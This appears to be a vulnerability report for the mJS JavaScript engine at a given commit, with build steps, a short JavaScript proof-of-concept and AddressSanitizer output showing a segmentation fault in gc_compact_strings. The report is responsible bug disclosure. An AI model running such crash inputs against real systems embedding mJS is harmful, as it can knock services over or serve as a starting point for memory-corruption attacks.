SEGV src/mjs_gc.c:406 in gc_compact_strings

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

(function () {
    ((function f(a) {
        if (a > 0) {
            if ('#1.1: -0 - -0 === 0. Actual: '((JSON.stringify(gc('#1.1: -0 - -0 === 0. Ac\ual: '))) !== (gc('#1.1: -0 - -0 === 0. Actual: '))('#1.1: -0 - -0 === 0. Actual: ' !== f(a - 1)))) {
                f(a - 1)
            }
        }
    })(6))
})()

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==50070==ERROR: AddressSanitizer: SEGV on unknown address 0x3a60d0000001 (pc 0x5588da606950 bp 0x615000000080 sp 0x7ffef6409930 T0)
==50070==The signal is caused by a READ memory access.
    #0 0x5588da60694f in gc_compact_strings src/mjs_gc.c:406
    #1 0x5588da6087d7 in mjs_gc src/mjs_gc.c:500
    #2 0x5588da608ec2 in maybe_gc src/mjs_gc.c:446
    #3 0x5588da5d2d67 in mjs_execute src/mjs_exec.c:578
    #4 0x5588da5e0a05 in mjs_exec_internal src/mjs_exec.c:1073
    #5 0x5588da5e0a05 in mjs_exec_file src/mjs_exec.c:1096
    #6 0x5588da59d909 in main src/mjs_main.c:47
    #7 0x7fe819cbcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #8 0x5588da59e449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_gc.c:406 in gc_compact_strings
==50070==ABORTING

Credits: Found by OWL337 team.